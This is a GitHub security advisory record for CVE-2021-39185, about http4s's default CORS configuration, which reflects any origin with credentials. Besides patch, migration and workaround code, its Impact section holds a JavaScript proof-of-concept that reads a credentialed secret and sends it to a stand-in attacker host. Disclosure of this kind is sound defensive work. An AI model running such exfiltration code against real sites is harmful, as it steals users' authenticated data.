{"id":"GHSA-52cf-226f-rhr6","summary":"Default CORS config allows any origin with credentials","details":"### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =\u003e\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://vulnerable.example.org/secret',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//bad-people.example.org/log?key='+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  .withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n  .withAnyOrigin(false)\n  .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)","aliases":["CVE-2021-39185"],"modified":"2026-05-08T04:59:46.989714278Z","published":"2021-09-02T16:52:18Z","database_specific":{"github_reviewed_at":"2021-09-01T19:31:53Z","nvd_published_at":"2021-09-01T20:15:00Z","cwe_ids":["CWE-346"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39185"},{"type":"PACKAGE","url":"https://github.com/http4s/http4s"},{"type":"WEB","url":"https://github.com/http4s/http4s/releases/tag/v0.23.2"}],"affected":[{"package":{"name":"org.http4s:http4s-server_2.13.0-M5","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.13.0-M5"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.20.0","0.20.0-RC1","0.20.1","0.20.10","0.20.2","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9"],"database_specific":{"last_known_affected_version_range":"\u003c 0.21.27","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_3","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.22.0"},{"fixed":"0.22.3"}]}],"versions":["0.22.0","0.22.1","0.22.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_3","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.23.0"},{"fixed":"0.23.2"}]}],"versions":["0.23.0","0.23.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.10","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.10"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.11.1","0.11.2","0.11.3","0.12.0","0.12.1","0.12.2","0.12.3","0.12.4","0.12.5","0.12.6","0.13.0","0.13.0a","0.13.1","0.13.1a","0.13.2","0.13.2a","0.13.3","0.13.3a","0.14.0","0.14.0a","0.14.1","0.14.10","0.14.10a","0.14.11","0.14.11a","0.14.1a","0.14.2","0.14.2a","0.14.3","0.14.3a","0.14.4","0.14.4a","0.14.5","0.14.5a","0.14.6","0.14.6a","0.14.7","0.14.7a","0.14.8","0.14.8a","0.14.9","0.14.9a","0.15.0","0.15.0a","0.15.1","0.15.10","0.15.10a","0.15.11","0.15.11a","0.15.12","0.15.12a","0.15.13","0.15.13a","0.15.14","0.15.14a","0.15.15","0.15.15a","0.15.16","0.15.16a","0.15.1a","0.15.2","0.15.2a","0.15.3","0.15.3a","0.15.4","0.15.4a","0.15.5","0.15.5a","0.15.6","0.15.6a","0.15.7","0.15.7a","0.15.8","0.15.8a","0.15.9","0.15.9a","0.16.0","0.16.0-M1","0.16.0-M2","0.16.0-M3","0.16.0-RC2","0.16.0-RC3","0.16.0a","0.16.0a-M1","0.16.0a-M2","0.16.0a-M3","0.16.0a-RC1","0.16.0a-RC2","0.16.0a-RC3","0.16.1","0.16.1a","0.16.2","0.16.2a","0.16.3","0.16.3a","0.16.4","0.16.4a","0.16.5","0.16.5a","0.16.6","0.16.6a","0.2.0","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.6.1","0.6.2","0.6.4","0.6.5","0.7.0","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.1","0.9.2","0.9.3"],"database_specific":{"last_known_affected_version_range":"\u003c 0.21.27","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.11","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.11"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.11.1","0.11.2","0.11.3","0.12.0","0.12.1","0.12.2","0.12.3","0.12.4","0.12.5","0.12.6","0.13.0","0.13.0a","0.13.1","0.13.1a","0.13.2","0.13.2a","0.13.3","0.13.3a","0.14.0","0.14.0a","0.14.1","0.14.10","0.14.10a","0.14.11","0.14.11a","0.14.1a","0.14.2","0.14.2a","0.14.3","0.14.3a","0.14.4","0.14.4a","0.14.5","0.14.5a","0.14.6","0.14.6a","0.14.7","0.14.7a","0.14.8","0.14.8a","0.14.9","0.14.9a","0.15.0","0.15.0a","0.15.1","0.15.10","0.15.10a","0.15.11","0.15.11a","0.15.12","0.15.12a","0.15.13","0.15.13a","0.15.14","0.15.14a","0.15.15","0.15.15a","0.15.16","0.15.16a","0.15.1a","0.15.2","0.15.2a","0.15.3","0.15.3a","0.15.4","0.15.4a","0.15.5","0.15.5a","0.15.6","0.15.6a","0.15.7","0.15.7a","0.15.8","0.15.8a","0.15.9","0.15.9a","0.16.0","0.16.0-M1","0.16.0-M2","0.16.0-M3","0.16.0-RC1","0.16.0-RC2","0.16.0-RC3","0.16.0a","0.16.0a-M1","0.16.0a-M2","0.16.0a-M3","0.16.0a-RC1","0.16.0a-RC2","0.16.0a-RC3","0.16.1","0.16.1a","0.16.2","0.16.2a","0.16.3","0.16.3a","0.16.4","0.16.4a","0.16.5","0.16.5a","0.16.6","0.16.6a","0.17.0","0.17.0-M1","0.17.0-M2","0.17.0-M3","0.17.0-RC1","0.17.0-RC2","0.17.0-RC3","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.18.0","0.18.0-M1","0.18.0-M2","0.18.0-M3","0.18.0-M4","0.18.0-M5","0.18.0-M6","0.18.0-M7","0.18.0-M8","0.18.0-M9","0.18.1","0.18.10","0.18.11","0.18.12","0.18.13","0.18.14","0.18.15","0.18.16","0.18.17","0.18.18","0.18.19","0.18.2","0.18.20","0.18.21","0.18.22","0.18.23","0.18.24","0.18.25","0.18.26","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.8","0.18.9","0.19.0","0.19.0-M1","0.19.0-M2","0.19.0-M3","0.19.0-M4","0.2.0","0.20.0","0.20.0-M1","0.20.0-M2","0.20.0-M3","0.20.0-M4","0.20.0-M5","0.20.0-M6","0.20.0-M7","0.20.0-RC1","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.14","0.20.15","0.20.16","0.20.17","0.20.18","0.20.19","0.20.2","0.20.20","0.20.21","0.20.22","0.20.23","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0-M1","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.1","0.9.2","0.9.3"],"database_specific":{"last_known_affected_version_range":"\u003c 0.21.27","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.12","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.12"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.27"}]}],"versions":["0.10.0-M10","0.15.0","0.15.0a","0.15.1","0.15.10","0.15.10a","0.15.11","0.15.11a","0.15.12","0.15.12a","0.15.13","0.15.13a","0.15.14","0.15.14a","0.15.15","0.15.15a","0.15.16","0.15.16a","0.15.1a","0.15.2","0.15.2a","0.15.3","0.15.3a","0.15.4","0.15.4a","0.15.5","0.15.5a","0.15.6","0.15.6a","0.15.7","0.15.7a","0.15.8","0.15.8a","0.15.9","0.15.9a","0.16.0","0.16.0-M1","0.16.0-M2","0.16.0-M3","0.16.0-RC1","0.16.0-RC2","0.16.0-RC3","0.16.0a","0.16.0a-M1","0.16.0a-M2","0.16.0a-M3","0.16.0a-RC1","0.16.0a-RC2","0.16.0a-RC3","0.16.1","0.16.1a","0.16.2","0.16.2a","0.16.3","0.16.3a","0.16.4","0.16.4a","0.16.5","0.16.5a","0.16.6","0.16.6a","0.17.0","0.17.0-M1","0.17.0-M2","0.17.0-M3","0.17.0-RC1","0.17.0-RC2","0.17.0-RC3","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.18.0","0.18.0-M1","0.18.0-M2","0.18.0-M3","0.18.0-M4","0.18.0-M5","0.18.0-M6","0.18.0-M7","0.18.0-M8","0.18.0-M9","0.18.1","0.18.10","0.18.11","0.18.12","0.18.13","0.18.14","0.18.15","0.18.16","0.18.17","0.18.18","0.18.19","0.18.2","0.18.20","0.18.21","0.18.22","0.18.23","0.18.24","0.18.25","0.18.26","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.8","0.18.9","0.19.0","0.19.0-M1","0.19.0-M2","0.19.0-M3","0.19.0-M4","0.20.0","0.20.0-M1","0.20.0-M2","0.20.0-M3","0.20.0-M4","0.20.0-M5","0.20.0-M6","0.20.0-M7","0.20.0-RC1","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.14","0.20.15","0.20.16","0.20.17","0.20.18","0.20.19","0.20.2","0.20.20","0.20.21","0.20.22","0.20.23","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.0-M1","0.21.0-M2","0.21.0-M3","0.21.0-M4","0.21.0-M5","0.21.0-M6","0.21.0-RC1","0.21.0-RC2","0.21.0-RC3","0.21.0-RC4","0.21.0-RC5","0.21.1","0.21.11","0.21.12","0.21.13","0.21.14","0.21.15","0.21.16","0.21.17","0.21.18","0.21.19","0.21.2","0.21.20","0.21.21","0.21.22","0.21.23","0.21.24","0.21.25","0.21.26","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.12","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.12"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.22.0"},{"fixed":"0.22.3"}]}],"versions":["0.22-129-24d065b","0.22-143-49b5a8d","0.22-53-01128f5","0.22-96-55d3184","0.22.0","0.22.1","0.22.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.12","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.12"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.23.0"},{"fixed":"0.23.2"}]}],"versions":["0.23.0","0.23.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.13","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.13"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.27"}]}],"versions":["0.10.0-M10","0.21.0","0.21.0-M1","0.21.0-M2","0.21.0-M3","0.21.0-M4","0.21.0-M5","0.21.0-M6","0.21.0-RC1","0.21.0-RC2","0.21.0-RC3","0.21.0-RC4","0.21.0-RC5","0.21.1","0.21.11","0.21.12","0.21.13","0.21.14","0.21.15","0.21.16","0.21.17","0.21.18","0.21.19","0.21.2","0.21.20","0.21.21","0.21.22","0.21.23","0.21.24","0.21.25","0.21.26","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.13","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.13"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.22.0"},{"fixed":"0.22.3"}]}],"versions":["0.22-129-24d065b","0.22-143-49b5a8d","0.22-53-01128f5","0.22-96-55d3184","0.22.0","0.22.1","0.22.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}},{"package":{"name":"org.http4s:http4s-server_2.13","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-server_2.13"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.23.0"},{"fixed":"0.23.2"}]}],"versions":["0.23.0","0.23.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-52cf-226f-rhr6/GHSA-52cf-226f-rhr6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}